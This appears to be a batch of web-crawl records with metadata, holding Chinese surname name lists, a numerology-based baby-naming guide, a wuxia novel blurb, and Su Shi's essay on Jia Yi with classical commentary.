+{"text":"吾有一曲,抒盡平生意。吾有一劍,當斬世間敵!鐵血殺神自屍山血海中踏出,為報親仇,一怒伏屍萬裡。攪動天地,風雲色變!我命由我不由天?何牧:哼,天命亦由我掌控。眾生皆匍匐吾之足下!\n當前餘額0金幣,還需支付0金幣","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.twfanti.com\/book\/ZhiZunShaShen.html","date":"2020-08-13T02:22:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738950.61\/warc\/CC-MAIN-20200813014639-20200813044639-00183.warc.gz","language":"lzh","language_score":0.4833546877,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48335468769073486, \"cmn_Hani_score\": 0.4107908606529236, \"yue_Hani_score\": 0.046981267631053925, \"wuu_Hani_score\": 0.03279373049736023, \"nan_Hani_score\": 0.012456979602575302}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":500.0,"cluster_detection":1} +{"text":"时间:2019-11-28 11:05:21编辑:知历史\n周琰鹃 周琮谨 周琮荞 周琮濡 周琬双 周琛荞 周琛韪 周琚环\n周钿环 周钿蕊 周钿璨 周筠绣 周筠濠 周筠瑷 周筠韪 周鹤果\n周鹤然 周兰艾 周兰沫 周兰苜 周兰青 周恋佳 周恋昔 周鹭采\n周显佳 周显宛 周显依 周铄果 周铄佳 周铄昕 周铄依 周铄苕\n周驰蕴 周椿懿 周枫蕴 周枫璎 周港蕴 周荷懿 周焕隐 周会懿\n周馏欢 周馏鸥 周馏隐 周馏懿 周盟蕴 周莫隐 周莫懿 周暖隐\n周渭藻 周渭懿 周熙藻 周想隐 周扬璎 周业隐 周业藻 周意鸥\n周裕鸥 周裕隐 周预蕴 周照蕴 周钲鸥 周琢鸥 周荻鸥 周莘欢\n周琦隐 周琛隐 周琚鸥 周歆鸥 周歆璎 周钰藻 周钿鸥 周筠欢\n周兰晶 周兰媚 周兰茹 周兰舒 周兰粤 周恋迪 周恋晶 周恋评\n周恋越 周恋粤 周恋云 周鹭惠 周鹭茹 周鹭围 周鹭晰 周鹭雁\n周显寒 周显渺 周显乔 周显晴 周显茹 周显淑 周显围 周显晰\n周铄词 周铄情 周铄茹 周铄童 周铄岚 周铄嵛 周柏嫒 周柏嬗\n周姓名人\n周 勃:江苏省沛县人,西汉时开国武侯,被刘邦赐予列侯的爵位,时称:\"绛侯\"。\n周 瑜:三国时吴国名将,安徽省舒城人。联合刘备共同抵抗曹操数十万大军,火烧赤壁,大败曹军。\n周 处:晋朝阳羡(今江苏省宜兴南)人,是一位改恶从善的典型人物,官至御史中丞。\n周 兴:雍州长安(今陕西省西安)人,唐朝武则天时酷吏,官至秋官侍郎、尚书左丞。\n周 忱:吉水(今江西省吉水)人,明朝大臣,官至工部尚书。\n周 璇:上海人,一代影后,又有\"金嗓子\"的雅号,曾拍摄过《喜盈门》、《歌女之歌》、《忆江南》等影片。","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/www.zhils.com\/bjzx\/11916_6.html","date":"2020-11-27T22:44:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141194634.29\/warc\/CC-MAIN-20201127221446-20201128011446-00347.warc.gz","language":"lzh","language_score":0.4443162978,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4443162977695465, \"cmn_Hani_score\": 0.3271145522594452, \"wuu_Hani_score\": 0.13703438639640808, \"nan_Hani_score\": 0.08782745152711868}","num_words":119,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.272,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.657,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n倪巴 倪蓓 倪彪 倪彬 倪斌 倪滨 倪冰 倪兵 倪波 倪博 倪彩 倪灿 倪策 倪畅 倪超 倪晁 倪尘 倪辰 倪陈 倪晨 倪成 倪诚 倪程 倪澄 倪川 倪春 倪纯 倪淳 倪聪 倪达 倪大 倪丹 倪聃 倪德 倪灯 倪迪 倪东 倪董 倪栋 倪端 倪铎 倪恩 倪帆 倪凡 倪方 倪飞 倪菲 倪沸 倪汾 倪沣 倪枫 倪峰 倪锋 倪凤 倪馥 倪敢 倪钢 倪格 倪个 倪公 倪姑 倪沽 倪关 倪冠 倪炅 倪海 倪海 倪海 倪海 倪海 倪晗 倪涵 倪焓 倪韩 倪瀚 倪杭 倪航 倪豪 倪好 倪郝 倪昊 倪浩 倪皓 倪颢 倪灏 倪和 倪翮 倪珩 倪弘 倪宏 倪泓 倪虹 倪湖 倪华 倪骅 倪欢 倪洹 倪煌 倪卉 倪惠 倪慧 倪吉 倪霁 倪冀 倪佳 倪珈 倪嘉 倪简 倪见 倪建 倪健 倪江 倪娇 倪湫 倪杰 倪捷 倪金 倪谨 倪锦 倪瑾 倪进 倪菁 倪晶 倪睛 倪靓 倪静 倪迥 倪炯 倪菊 倪涓 倪隽 倪珏 倪军 倪君 倪均 倪俊 倪骏 倪开 倪凯 倪楷 倪克 倪奎 倪坤 倪昆 倪琨 倪鲲 倪兰 倪澜 倪郎 倪朗 倪浪 倪乐 倪雷 倪磊 倪李 倪力 倪粒 倪莲 倪亮 倪林 倪淋 倪灵 倪凌 倪刘 倪柳 倪龙 倪楼 倪颅 倪录 倪渌 倪路 倪潞 倪璐 倪旅 倪蔓 倪茂 倪玫 倪萌 倪猛 倪淼 倪玟 倪泯 倪敏 倪明 倪鸣 倪茗 倪铭 倪楠 倪能 倪妮 倪宁 倪凝 倪培 倪佩 倪鹏 倪澎 倪平 倪奇 倪淇 倪琦 倪琪 倪祺 倪绮 倪茜 倪强 倪巧 倪钦 倪勤 倪溱 倪沁 倪青 倪晴 倪庆 倪秋 倪泉 倪群 倪燃 倪日 倪荣 倪容 倪榕 倪融 倪蕊 倪芮 倪锐 倪瑞 倪睿 倪飒 倪沙 倪莎 倪姗 倪珊 倪闪 倪商 倪裳 倪尚 倪韶 倪滠 倪石 倪抒 倪姝 倪殊 倪舒 倪双 倪霜 倪爽 倪顺 倪舜 倪瞬 倪烁 倪朔 倪硕 倪思 倪松 倪苏 倪粟 倪溯 倪荪 倪泰 倪溏 倪涛 倪滔 倪韬 倪天 倪田 倪恬 倪铁 倪厅 倪挺 倪同 倪彤 倪土 倪婉 倪旺 倪威 倪偎 倪微 倪薇 倪巍 倪伟 倪纬 倪炜 倪玮 倪蔚 倪闻 倪雯 倪武 倪希 倪晰 倪皙 倪熙 倪曦 倪夏 倪献 倪湘 倪翔 倪响 倪想 倪枭 倪骁 倪萧 倪潇 倪霄 倪小 倪笑 倪楔 倪芯 倪昕 倪欣 倪鑫 倪信 倪星 倪行 倪雄 倪熊 倪修 倪栩 倪轩 倪萱 倪璇 倪洵 倪迅 倪逊 倪雅 倪言 倪岩 倪炎 倪颜 倪眼 倪琰 倪彦 倪焱 倪雁 倪滟 倪阳 倪杨 倪洋 倪也 倪叶 倪烨 倪一 倪沂 倪宜 倪忆 倪艺 倪奕 倪逸 倪溢 倪毅 倪熠 倪银 倪樱 倪滢 倪潆 倪雍 倪永 倪咏 倪泳 倪勇 倪涌 倪优 倪渝 倪瑜 倪宇 倪雨 倪郁 倪昱 倪钰 倪喻 倪遇 倪煜 倪毓 倪渊 倪元 倪源 倪约 倪越 倪泽 倪瞻 倪湛 倪章 倪哲 倪磔 倪珍 倪祯 倪臻 倪圳 倪振 倪朕 倪震 倪征 倪正 倪枝 倪智 倪仲 倪众 倪重 倪主 倪祝 倪庄 倪卓 倪倬 倪茁 倪琢 倪姿 倪梓 倪棕 倪总 倪足 倪阿千 倪阿秀 倪蔼兰 倪艾嘉 倪艾静 倪艾轩 倪艾源 倪爱华 倪爱佳 倪爱嘉 倪爱镓 倪爱静 倪爱军 倪爱莲 倪爱其 倪爱森 倪爱武 倪爱轩 倪爱源 倪瑷瑗 倪安华 倪安姬 倪安杰 倪安民 倪安呢 倪安琪 倪安群 倪安泰 倪安通 倪安亚 倪安洋 倪安泽 倪奥宇 倪八汉 倪八七 倪柏庆 倪邦城 倪邦恩 倪邦俊 倪邦智 倪帮飞 倪宝刚 倪宝民 倪宝奇 倪宝琦 倪宝全 倪宝珠 倪保惠 倪保良 倪保齐 倪保印 倪堡淋 倪贝贝 倪贝福 倪本韬 倪必华 倪碧峰 倪碧莲 倪碧野 倪壁昭 倪边远 倪卞殳 倪彬彬 倪彬淳 倪斌斌 倪冰忻 倪兵武 倪博尔 倪不尘 倪步委 倪步忠 倪采亦 倪采弈 倪彩娣 倪彩姬 倪蔡弘 倪粲仪 倪曹俊 倪昌柏 倪昌飞 倪昌进 倪昌榕 倪长春 倪长飞 倪长令 倪长明 倪畅通 倪超群 倪超然 倪超伟 倪超哲 倪晁轩 倪朝晖 倪朝辉 倪朝阳 倪琛琛 倪尘龙 倪辰辉 倪辰俊 倪辰淋 倪辰栩 倪陈倚 倪宸硕 倪晨海 倪晨辉 倪晨康 倪晨淋 倪晨茜 倪晨欷 倪晨晰 倪晨粞 倪晨皙 倪晨熙 倪晨熹 倪晨曦 倪晨觋 倪晨昕 倪晨栩 倪晨轩 倪成辉 倪成艺 倪呈刚 倪承睿 倪诚栩 倪城辉 倪澄延 倪彳鹳 倪崇瀚 倪崇焱 倪初露 倪楚君","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/m.pc89.com\/xm-n1-71.html","date":"2021-08-05T19:43:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00423.warc.gz","language":"lzh","language_score":0.3981158435,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.3981158435344696, \"nan_Hani_score\": 0.38346317410469055, \"und_Cher_score\": 0.08853446692228317, \"und_Bali_score\": 0.053175024688243866, \"cmn_Hani_score\": 0.03954754024744034, \"yue_Hani_score\": 0.02074950374662876}","num_words":542,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.305,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.398,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周润琪 周笑怡 周佑怡 周婧琪 周曼玉 周煜婷 周明美 周慕儿 周月婵 周靖瑶 周芸熙 周嫦曦 周夏岚 周傲珊 周玥婷 周璟雯 周馨彤 周梦柏 周晓萱 周惠茜 周梦璐 周慕晴 周瑾萱 周傲蕾 周佳雪 周娅楠 周尔柏 周可馨 周涵菡 周林琳 周檀雅 周雅彤 周雪芬 周韵寒 周素芬 周桑榆 周倩雪 周月霞 周诗琪 周忆梅 周雅静 周美琳 周佩兰 周醉倚 周涵柳 周丹华 周歆瑶 周雅欣 周君娜 周欣妍 周语蝶 周紫珊 周雨薇 周沛玲 周羽馨 周虞花 周昕怡 周诗嘉 周曼柔 周水瑶 周莉姿 周甜瑜 周晴霎 周钰彤 周凌菲 周思欣 周茹雪 周若雪 周正梅 周昕玉 周雨嘉 周雪芳 周漫妮 周熙雯 周玉珍 周曼纹 周江萍 周海莲 周花琪 周乐萱 周语琴 周雪雁 周巧芳 周绮兰 周梦洁 周采盈 周紫莺 周幽兰 周芳梨 周芸萱 周优璇 周柳萱 周香怡 周妙佳 周语嫣 周映真 周欢馨 周秋春 周春儿 周雨雪 周倚烟 周水清 周萍霄 周南琪 周紫月 周冰安 周黛梅 周芷蕊 周雅柏 周舞韵 周曼茵 周萱馨 周含海 周玉香 周月雪 周诗柳 周秋柏。","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/www.nhhongxing.cn\/gsqm\/9584.html","date":"2021-09-19T13:56:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056890.28\/warc\/CC-MAIN-20210919125659-20210919155659-00428.warc.gz","language":"lzh","language_score":0.9581887126,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9581887125968933, \"nan_Hani_score\": 0.038067467510700226}","num_words":117,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.958,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n賈誼論 蘇軾\n非才之難、所以自用者實難。惜乎賈生王者之佐、而不能自用其才也。賈誼、雒陽人。年二十餘、文帝召以爲博士、一歲中至大中大夫。天子議以爲賈生任公卿之位、绛灌之屬盡害之、乃短賈生、帝于是疏之。出爲長沙王太傅。後召對宣室、拜爲梁王太傅。因上疏曰、臣竊惟今之事勢、可爲痛哭者一、可爲流涕者二、可爲長太息者六。帝雖納其言、而終不見用。卒以自傷哭泣而死、年三十三。 ○一起斷盡、立一篇主意。夫君子之所取者遠、則必有所待。所就者大、則必有所忍。古之賢人、皆負可致之才、而卒不能行其萬一者、未必皆其時君之罪、或者其自取也。以其不能待且忍、故云自取。 ○申不能自用其才句。愚觀賈生之論、如其所言、雖三代何以遠過。得君如漢文、猶且以不用死。然則是天下無堯舜、終不可有所爲耶。冷語破的。仲尼聖人、歷試於天下。苟非大無道之國、皆欲勉強扶持、庶幾一日得行其道。將之荊、先之以冉有、申之以子夏。荊、楚本號。將適楚、而先使二子繼往者、蓋欲觀楚之可仕與否、而謀其可處之位歟。君子之欲得其君、如此其勤也。得君勤、一引。孟子去齊、三宿而後出晝、猶曰王其庶幾召我。君子之不忍棄其君、如此其厚也。愛君厚、一引。公孫丑問曰、夫子何爲不豫。孟子曰、方今天下、舍我其誰哉、而吾何爲不豫。君子之愛其身、如此其至也。愛身至、一引。夫如此而不用、然後知天下果不足與有爲、而可以無憾矣。得此一鎖、方可接到賈生。若賈生者、非漢文之不能用生、生之不能用漢文也。此段說出得君勤、愛君厚、愛身至、必如是始可以無憾。摹寫古聖賢用世之不苟、以責賈生。見得賈生欲得君甚勤、但愛君不厚、愛身不至耳。故曰生之不能用漢文也、甚有意味。夫絳侯親握天子璽而授之文帝、帝初封代王、孝惠無嗣、大臣迎立之。始至渭橋、大尉勃跪上天子璽符。灌嬰連兵數十萬、以決劉呂之雌雄、高后時、諸呂欲危劉氏。大將軍灌嬰、與齊王襄連和、以待呂氏之變、共誅之。又皆高帝之舊將。此其君臣相得之分、豈特父子骨肉手足哉。賈生洛陽之少年、欲使其一朝之間、盡棄其舊而謀其新、亦已難矣。此言其上疏中之言。 ○此段發明賈生不善用才之故。爲賈生者、上得其君、下得其大臣、如絳灌之屬、優遊浸漬恣、而深交之、使天子不疑、大臣不忌、然後舉天下而唯吾之所欲爲、不過十年、可以得志。代爲賈生畫策。安有立談之閒、而遽爲人痛哭哉。責倒賈生、覺治安等篇、俱屬無謂。觀其過湘、爲賦以弔屈原、有造託湘流兮、敬弔先生句。縈紆鬱悶、趯同躍、然有遠舉之志。有予獨抑鬱其誰語、鳳縹縹其高逝兮、夫固自引而遠去句。其後以自傷哭泣、至於夭絕。梁王騎墮馬而死、賈生自傷爲傅無狀、哭泣歲餘、亦死。是亦不善處窮者也。不善處窮、卽不能自用意。夫謀之一不見用、則安知終不復用也。不知默默以待其變、而自殘至此。文情開宕。嗚呼、賈生志大而量小、才有餘而識不足也。總斷二句、是不能用漢文之本、一字一惜。古之人、有高世之才、必有遺俗之累。是故非聰明睿胃、智不惑之主、則不能全其用。古今稱苻扶、堅得王猛於草茅之中、一朝盡斥去其舊臣、而與之謀。彼其匹夫略有天下之半、其以此哉。秦王苻堅、因呂婆樓以招王猛。一見大悅、自謂如劉玄德之遇諸葛孔明也、乃以國事任之。 ○借苻堅能用王猛、正歸過漢文不能用賈生、此一轉尤妙。愚深悲生之志、故備論之。亦使人君得如賈生之臣、則知其有狷介之操、一不見用、則憂傷病沮、不能復振。二十一字爲一句。 ○補出人主當憐才意。而爲賈生者、亦謹其所發哉。仍歸結到本身上去。雙關作收、深情遠想、無限低徊。\n賈生有用世之才、卒廢死于好賢之主。其病原欲疎閒絳灌舊臣、而爲之痛哭。故自取疏廢如此。所謂不能謹其所發也。末以苻堅用王猛、責人君以全賈生之才、更有不盡之意。","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/neodu.com\/%E3%80%8A%E8%B3%88%E8%AA%BC%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-11-30T05:27:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358953.29\/warc\/CC-MAIN-20211130050047-20211130080047-00629.warc.gz","language":"lzh","language_score":0.7168129086,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7168129086494446, \"cmn_Hani_score\": 0.148053839802742, \"nan_Hani_score\": 0.06099032610654831, \"jpn_Jpan_score\": 0.021407965570688248, \"wuu_Hani_score\": 0.012745421379804611, \"yue_Hani_score\": 0.010402802377939224}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.717,"perplexity_score":500.0,"cluster_detection":1} +{"text":"黃姓命名字大全\n黃姓命名字大全為大家詳盡的介紹王姓命名關連常識,包含有黃姓命名的流程,留心事項,黃姓男孩名字大全,黃姓女孩名字大全等好聽的名字供你抉擇,讓你輕松的給黃姓。寶寶取個吉利的美名。\n黃姓命名,黃姓名字大全圖片\n命名首要要排出四柱八字找出喜,用,忌,三神,例出五行屬性,按五行生克制化之理看其偏多或偏少與命柱是喜或忌,再進行或補缺或禁止,務令其五行得到平和制化,然后再合作天格,人格,地格,總格,外格,等五格數字筆畫組合例出天,地,人,三才合乎邏輯相配,這樣才是合命助運上好大吉之名字也.\n根本命名步驟如下:\n1、字義;2、字形;3、字音;4、數理;5、命理。\n按以下七個程序來行運,\n一、找喜用神:依八字 算 水晶據生日時辰,來找到相符命理的喜用神.\n二、字義:依據喜用神的五行來選取相應的字,力求用字的五行屬相徹底相符生辰八字五行的要求.\n三、字形:即是依據漢字的外形來判斷這個字的五行所屬,修長形的屬木,上寬下窄形的屬火,圓形的屬土,尖形、菱形的屬金,粗而扁形的屬水。不過中國字沒有圓形的字體,但看起來溫柔油滑的字就屬土.\n四、字音:即是依據一個字的讀音來分割著這個字的五行所屬。平聲屬水,揚聲屬木,三聲屬火,去聲如何看五行屬金,土為萬物之母,寬容性很強,金木水火都見諒在土中,也即是說土可以取任何一種音調.\n五、數理:運用〈五格剖象法〉的數理。同時應用陰陽五行學說天干地支的河洛之數,交融命造的喜用神,來抉擇取名所需求的相應的字。十天干\"甲、乙、丙、丁、戊、己、庚、辛、壬、癸\"依次典型數字\"1、2、3、4、5、6、7、8、9、0\",十二地支\"子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥\"依次典型數字\"1、2、3、4、5、6、7、8、9、10、11、12\"&;&;&;&;\n六、依據寶寶其他關連命理的一些因素,如誕生地,天然現象等從命理方面進行解析論證.\n七、依據易學四柱八字、等,提供出命理五行的解析、個性解析、最佳成長方位、合適從事的職業等.\n一.給小孩命名字要留心的事項:\n1、音韻的靈動力:名字念起來會產生聲音的磁場,好的名字動聽,不良的名字會形成攙和,不少藝術家或作家城市另有取一個名字或另取字號,如:張大千(原名張員)。好名字不光會令人印象深刻,個人也能認同。\n2、避免諧音: 父母若盤算個人幫寶寶取名字,要留心名字念起來是否有不雅的諧音,以免日后徒生困擾。如:吳理茂、曾豪孝、雨玲(雨淋)、尉琮(喂蟲)。最好是名字取好后,多念幾遍,看看聽起來是否流通。\n3、留心字義: 父母若想為小孩取名字,必要先了解字的意義,由於有些字并不常見,或者換了旁側的部首,卻意義不良,所以最好在取名字前,查閱康熙字典確認字義。\n4、八字: 有些是參考寶寶的八字來幫寶寶取名,即應用八字來了解寶寶的先天命格,如:是否陰陽調和、五行均等,再借著取名來協調、改良寶寶的運勢。幫寶寶起名可以按照八字命盤、再參考格局、筆畫,最后找出適合的字義。例如由八字得知寶寶性格率性刁蠻,建議可用,如:理、德、修、維,來裝飾小孩的性格。\n5、生肖: 不少父母在取名字時,常會因生肖來抉擇字,如:龍年時男生常取名為龍。或者某些生肖,合適用某些字,如:蛇喜愛待在小洞,蛇年誕生的寶寶,可以抉擇:哲、啟、善、唯等字。\n6、單名: 通常而言,單名好記且洪亮,不過就單名欠缺地格、外格,除橫死格好者,不然難受合採用,或者可再取日柱八字字或號作為輔導,如:孫文,字中山;李白,字太白。\n7、筆畫的八十一靈動: 可差別算出五格(天格、地格、人格、外格、總格)的八十一靈動,并觀測其五行的相生相克關系。總格24、25、29、31、32、33、35(這樣的筆畫數格局很不錯,但人生有較多波瀾重疊)37、39、41、45、47、48(這樣的筆畫數是不錯的格局,有這樣筆畫數的人,大都能戰勝難題,開創格局。)\n8、三才五格: 五格是由姓名的筆畫中算得,五格的筆畫可算出相應的五行,接著即可了解五格及五行間相生相克與吉兇關系,取名字時,最主要在于五行是否調和,再者才是筆畫好欠好。三才是指天格、人格、地格間的組合并系。取名字時可參考康熙字典的字義和筆畫,由於有些字必要以偏旁部首來算,才幹得到準確的筆畫。\n1、用字扼要淺易。名字不僅是一個標誌,更多的是手寫喝口念,因此,定然要便于書寫和辨識。得多友人盼望給寶寶取一個有賦性的名字,多麼的高潮籠統認識,不過應盡量抗御冷字、偏字,省得給爾后的上學、就業帶來麻煩。\n2、字形協調雅觀。\n3、適合八字環境,三才五行數理吉祥。\n4、含義充沛粗俗。依據中國古板文化來看,命名字時應珍視字義和含義,字形是\"格式\",字意是\"格式\",字義和集團意思干系到一個名字的短長。\n5、讀音鏗鏘響亮。抉擇發音洪白的字,注意聲、韻、調的搭配。\n黃必宣 黃添義 黃昆廷 黃軒昇 黃珍柏 黃潔英 黃夫誠 黃法能 黃必珊 黃義昀 黃呈洋 黃妮桂 黃重冰 黃世強 黃初陽 黃珮蓮 黃儒正 黃昇年 黃馨怡 黃甫桓 黃千沛 黃聿智 黃州竹 黃綺仁 黃駿竹 黃瑩成 黃良杰 黃上瑤 黃偉妮 黃珊斌 黃臺珊 黃恭仁 黃禎凱 黃林舜 黃任陽 黃屏圣 黃賢弘 黃仕文 黃春峰 黃順祥 黃軍琇 黃夫盈 黃淑淳 黃瑋辛 黃湖芳 黃蕙慧 黃萱彬 黃然恩 黃宇智 黃百綺 黃康紹 黃銘蓁 黃法達 黃筠謙 黃品孜 黃和一 黃政玲 黃昌竹 黃義辛 黃順軍 黃毓年 黃琇軒 黃甫全 黃慈意 黃慧汝 黃奇俊 黃群昇 黃庭茵 黃光奇 黃鈺中 黃禮瑄 黃子士 黃展恭 黃仲春 黃堅輝 黃予州 黃妮湖 黃修合 黃然谷 黃姍安 黃皓虹 黃湖桂 黃桂吟 黃其綺 黃瑞民 黃筠紫 黃湖瑄 黃紹冰 黃韻盛 黃佳羽 黃庭銘 黃圣岳 黃玫以 黃天順 黃維臻 黃瑩貞 黃孝帆 黃映竹 黃兆貞 紹 黃甫竹 黃竹皓 黃欣季 黃春慧 黃宗珊 黃依恩 黃元良 黃姵妃 黃為行 黃侑名 黃漢睿 黃瑞平 黃屏源 黃恭映 黃巧宣 黃音孜 黃石秀 黃禾天 黃建依 黃瑋盛 黃禾發 黃邦映 黃憲容 黃江恭 黃石舜 黃康凱 黃金龍 黃品皓 黃喜芳 黃珊侑 黃昌怡 黃俞堅 黃誠彬 黃函音 黃倩亦 黃貞孜 黃容智 黃皓妃 黃銘雄 黃枝英 黃妮定 黃海宸 黃紹琇 黃金琇 黃奕月 黃阿夢 黃伸英 黃映綺 黃皓秋 黃玉容 黃紫伶 黃臺喬 黃皓珮 黃合名 黃妙婷 黃琦杰 黃嘉達 黃力純 黃竹文 黃翰修 黃于萍 黃琪謙 黃年民 黃軒宏 黃中成 黃鴻泰 黃定群 黃君斌 黃方昀 黃枝洋 黃政屏 黃亨新 黃亨行 黃季仁 黃志義 黃珊發 黃堯彥 黃屏瑤 黃合杰 黃茂雨 黃駿妮 黃竹弘 黃盛岑 黃婷倩 黃喜帆 黃夢揚 黃志蕓 黃初然 黃勳谷 黃倫誠 黃群萱 黃正良 黃剛偉 黃然法 黃威吉 黃玟緯 黃丞漢 黃伶明 黃心怡 黃家緯 黃江儀 黃妍妃 黃惟泉 黃原福 黃家玉 黃長泰 黃任宣 黃以如 黃亭宸 黃旺毓 黃喜凡 黃英桓 黃賢伶 黃軍行 黃恬花 黃典英 黃竹姍 黃容中 黃長音 黃漢蘋 黃政旺 黃博虹 黃軒音 黃喬名 黃揚琬 黃昀強 黃湖皓 黃佐婷 黃介元 黃康群 黃秀冰 黃屏卿 黃協坤 黃秀谷 黃佳麟 黃歡貞 黃吟治 黃鳳凱 黃珮龍 黃海鈺 黃琦山 黃邦緯 黃芳光 黃夢迪 黃燕沛 黃姍鑫 黃博育 黃長綺 黃恆欣 黃紋綺 黃定菱 黃登光 黃夙音 黃青泉 黃晉定 黃彬香 黃虹純 黃軍皓 黃林琴 黃一強 黃裕俊 黃為生 黃力香 黃夢真 黃山姍 黃右映 黃協合 黃均香 黃左仲 黃孟淑 黃恬貞 黃毓達 黃喬宜 黃為玟 黃世能 黃芷琇 黃振芳 黃美新 黃桓如 黃佳新 黃漢一 黃岑鑫 黃天仁 黃永孜 黃善珊 黃合韋 黃琇義 黃元貞 黃易昆 黃銘伸 黃修洋 黃博綺 黃昆花 黃真山 黃竹惟 黃亭峰 黃茂和 黃皇秋 黃嬌云 黃彬辰 黃昇瑞 黃鴻意 黃亞昇 黃林維 南 黃萱祥 黃映茵 黃卉福 黃可菱 黃蓉紫 黃汝泉 黃協韋 黃石星 黃威樺 黃木妃 黃長靖 黃菁瑋 黃辰山 黃旭雪 黃力玟 黃桂旺 黃欣光 黃嘉春 黃忠舜 黃任生 黃維諭 黃琳琪 黃昆亦 黃鈺宜 黃為東 黃姵韋 黃瑤妮 黃蕙昆 妤 黃良榮 黃雨萱 黃漢娟 黃容群 黃一勇 黃羽俐 黃湖鑫 黃凡桓 黃圣達 黃辰杰 黃克陽 黃庭樂 黃韋靖 黃東喬 黃安志 黃典梅 黃昌仲 黃祥春 黃天寧 黃靖松 黃賢坤 黃綠義 黃原愛 黃豪白 黃亦福 黃永皓 黃竹昆 黃筠枝 黃伊宸 黃中凌 黃俐秀 黃仲芳 黃念利 黃泰妃 黃旺強 黃智凌 黃昌昇 黃乃名 黃依妹 黃建宇 黃姍安 黃原啟 黃予宸 黃山妃 黃南雅 黃吟發 黃綺玉 黃一皓 黃一惠 輝 黃菁臻 黃強 黃又強 黃仕志 黃柏海 黃玲彬 黃宥德 黃力玉 黃胤南 黃夙恩 黃一軒 黃卉奇 黃巧心 黃靖茂 黃淑江 黃孟亦 黃臺泉 黃皇妏 黃昇鈺 黃慧桓 黃羽東 黃原盈 黃岳惟 黃順慧 黃振民 黃昕琦 黃妤順 黃宗凌 黃必君 黃承皓 黃淳軍 黃廷瑩 黃竹年 黃凡白 黃慈岑 黃瑋茵 黃愛蓮 黃富麟 黃琦貴 黃琪天 黃靖菱 黃幼郁 黃惟琇 黃姍光 黃以萍 黃紋雨 黃然江 黃梅瑩 黃芃欣 黃香臻 黃如杰 黃恆喜 黃萱全 黃翰俐 黃姍其 黃依南 黃修奇 黃羽諭 黃伶宣 黃儒亨 黃柏靖 黃昇淑 黃毓軍 黃和茹 黃惟裕 黃亭希 黃雨雯 黃尹文 黃汝樂 黃姵綠 黃士茹 黃沛任 黃行苓 黃歡娟 黃漢幸 黃俐亨 黃修剛 黃倩玉 黃坤哲 黃迪信 黃年禎 黃尹孜 政 黃鑫泉 黃漢原 黃恩州 黃冠富 黃峻瑞 黃薇綠 伯 黃茵映 黃順偉 黃亨睿 黃伶瑄 黃珊春 黃財禎 黃沛亦 黃登吉 黃貴福 黃人淑 黃孝茹 黃妮輝 黃志陽 黃以桂 黃丞成 黃學雄 黃乃妹 黃伊人 黃峻良 黃銘花 黃辰信 黃金文 黃千軍 黃昆盛 黃安軍 黃琦法 黃梓峻 黃朕宇 黃拓維 黃泰旺 黃龍 黃哲銘 黃俊涵 黃家兵 黃顯藝 黃花菜 黃鍇 黃養新 黃建新 黃玉軒 黃軍 黃剛平 黃海劍 黃春晨 黃俊華 黃一二 黃煒珩 黃澤波 黃耀森 黃陳麟 黃洪波 黃金庫 黃建榮 黃學輝 黃鯤 昊 黃三江 黃概 黃建平 淞 黃永明 黃凱輝 黃敏健 黃方剛 黃騰貴 海 軍 黃巍 黃志豪 黃應明 黃壯榮 黃奕暄 黃敏芳 黃浩乾 黃劍平 黃洋 黃淦 黃千權 黃亮 黃茂琪 黃建琪 黃春華 黃曉華 黃定朋 黃培棟\n黃利 黃潤中 黃漢鋒 黃昭雷 黃皇 黃羽豪 黃永豪 黃欽培 希 黃衍翰 黃逸軒 黃宇哲 黃博頌 黃錦亮 黃俊翔 黃海龍 黃云涵 黃小瀨 黃鴻濱 黃俊海 黃炎林 黃世菡 黃新捷 黃瑯 黃國群 黃煜淳 黃恩寬 黃長生 黃綿偉 黃迪雄 黃興 黃立水 黃澤榮 黃修 黃家浩 黃偉明 黃傳華 黃佳煒 黃偉勝 黃鵬程 黃爨爨 黃天皓 黃正賢 黃德順 黃旭偉 黃啟桐 黃 黃道澤 黃顯忠 宇 黃啟福 黃漢成 黃民德 